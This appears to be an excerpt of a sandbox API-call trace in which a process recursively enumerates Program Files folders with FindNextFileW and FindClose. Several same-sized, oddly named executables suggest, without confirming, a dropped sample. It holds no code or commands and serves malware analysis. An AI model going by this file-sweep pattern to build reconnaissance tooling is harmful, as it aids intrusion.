	[0167.238] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0167.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0167.238] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6dc2801, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6dc2801, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0167.241] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0167.241] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d50060, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d50060, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0167.242] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0167.242] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0167.242] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.242] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f8598a0, ftCreationTime.dwHighDateTime=0x1d57e21, ftLastAccessTime.dwLowDateTime=0xdfc1a110, ftLastAccessTime.dwHighDateTime=0x1d5e8d3, ftLastWriteTime.dwLowDateTime=0xdfc1a110, ftLastWriteTime.dwHighDateTime=0x1d5e8d3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1
	[0167.245] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0167.245] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0167.245] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.245] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0167.246] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0167.246] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0167.246] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6cb796a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6cb796a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0167.248] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.248] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0167.248] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0167.248] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d7642f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d7642f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0167.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0167.249] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d50060, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d50060, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0167.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0167.250] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1
	[0167.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.250] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbba2ef20, ftCreationTime.dwHighDateTime=0x1d5d931, ftLastAccessTime.dwLowDateTime=0x3af2bc10, ftLastAccessTime.dwHighDateTime=0x1d58a54, ftLastWriteTime.dwLowDateTime=0x3af2bc10, ftLastWriteTime.dwHighDateTime=0x1d58a54, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="consultancy.exe", cAlternateFileName="CONSUL~1.EXE")) returned 1
	[0167.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0167.250] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d2a046, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d2a046, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0167.254] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.254] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1136f960, ftCreationTime.dwHighDateTime=0x1d5be0f, ftLastAccessTime.dwLowDateTime=0x681cf9d0, ftLastAccessTime.dwHighDateTime=0x1d57cb2, ftLastWriteTime.dwLowDateTime=0x681cf9d0, ftLastWriteTime.dwHighDateTime=0x1d57cb2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1
	[0167.254] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.254] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0
	[0167.255] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0167.255] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0167.255] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0167.255] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0167.255] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d03e32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d03e32, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0167.257] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0167.257] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1
	[0167.257] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0167.257] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0
	[0167.257] FindClose (in: hFindFile=0x4140fd8 | out: hFindFile=0x4140fd8) returned 1
	[0167.258] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.258] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1
	[0167.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.262] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0167.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.262] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0167.262] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0167.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.262] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1
	[0167.266] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0167.266] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0
	[0167.266] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0167.266] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0167.266] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0167.266] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0167.266] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0167.268] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1
	[0167.270] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.270] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0167.270] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0167.270] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0167.270] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1
	[0167.270] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0167.271] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0167.271] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0167.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0167.272] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1
	[0167.649] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0167.650] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0167.651] FindClose (in: hFindFile=0x4140e98 | out: hFindFile=0x4140e98) returned 1
	[0167.651] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.651] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0167.654] FindClose (in: hFindFile=0x4140118 | out: hFindFile=0x4140118) returned 1
	[0167.654] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0167.654] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1
	[0167.659] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0167.662] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0167.662] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0167.666] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0167.666] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0167.666] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0167.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0167.668] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0
